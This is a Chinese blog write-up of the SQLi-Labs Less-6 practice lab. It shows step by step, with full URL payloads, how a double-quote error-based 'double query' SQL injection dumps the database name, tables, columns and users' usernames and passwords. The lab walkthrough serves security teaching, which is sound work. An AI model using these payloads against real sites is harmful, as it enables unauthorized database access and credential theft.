本节实现原理和方法和Less-5基本一样,不同的是单引号变双引号,详见 【SQLi-Labs】Less-5 GET - Double Injection - Single Quotes - Stringhttps://blog.csdn.net/xw1995115/article/details/121329780?spm=1001.2014.3001.5501
本节复现下注入过程。
1.利用单引号尝试封闭查询语句,发现未报错
2. 利用双引号尝试封闭查询发现报错,因此为双引号封闭的查询语句
3.根据报错信息提示,猜测后台查询语句
SELECT * FROM xxx where id = "$_GET['id']";
4.利用正常数据测试
无报错也无数据,这种情况有可能是后台代码限制了输出,只执行,不回显;因报错信息能正常显示因此尝试利用报错信息获取所需的数据。
5.构造双注入查询语句
?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
获得数据库名:security
6.爆表名
?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+
通过limit 1,1 limit2,1 limint3,1 分别获得security库的3个表名:referers、uagents、users
7.爆字段名
?id=1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='referers' limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+
通过limit 得到referers表的两个字段 referer和ip_address,同理爆其他两张表的字段。
8.爆users表的数据
?id=1" union select 1,count(*),concat((select concat(username,0x3a,password) from users limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+
至此,本节结束